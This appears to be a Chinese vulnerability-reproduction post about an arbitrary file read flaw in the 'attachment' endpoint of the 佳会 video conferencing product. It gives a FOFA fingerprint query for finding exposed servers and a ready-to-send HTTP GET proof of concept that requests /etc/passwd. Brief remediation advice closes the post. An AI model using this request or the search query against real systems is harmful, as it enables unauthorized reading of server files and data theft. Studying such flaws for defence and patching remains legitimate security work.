【漏洞复现】佳会视频会议-任意文件读取-attachment

免责声明

此内容仅供技术交流与学习，请勿用于未经授权的场景。请遵循相关法律与道德规范。任何因使用本文所述技术而引发的法律责任，与本文作者及发布平台无关。如有内容争议或侵权，请及时私信我们！

1 产品简介

佳会视频会议是由杭州叁体网络科技有限公司开发的一款线上视频会议软件，叁体·佳会3.0是业内首家兼容HTML5/WebRTC技术的网络会议产品,无需下载任何客户端与插件，即可开启视频会议，无需下载插件即可分享屏幕,甚至只需要用微信/QQ扫描二维码，就能加入视频会议。

 

2 漏洞概述

佳会视频会议attachment接口处存在任意文件读取漏洞，恶意攻击者可能利用该漏洞读取服务器上的敏感文件，例如客户记录、财务数据或源代码，导致数据泄露。

3 网络测绘 

fofa

body="/system/get_rtc_user_defined_info?site_id"

4.漏洞复现 

poc

GET /attachment?file=/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

 

5. 修复建议

限制接口访问权限，确保只有授权用户可以访问敏感信息；对敏感数据进行加密传输，防止数据在传输过程中被截取或窃取；实施有效的身份验证和授权机制，确保用户在访问接口时经过适当的身份验证；加强监控和审计机制，定期审查接口访问日志，监测异常行为，及时发现和应对潜在的信息泄漏事件。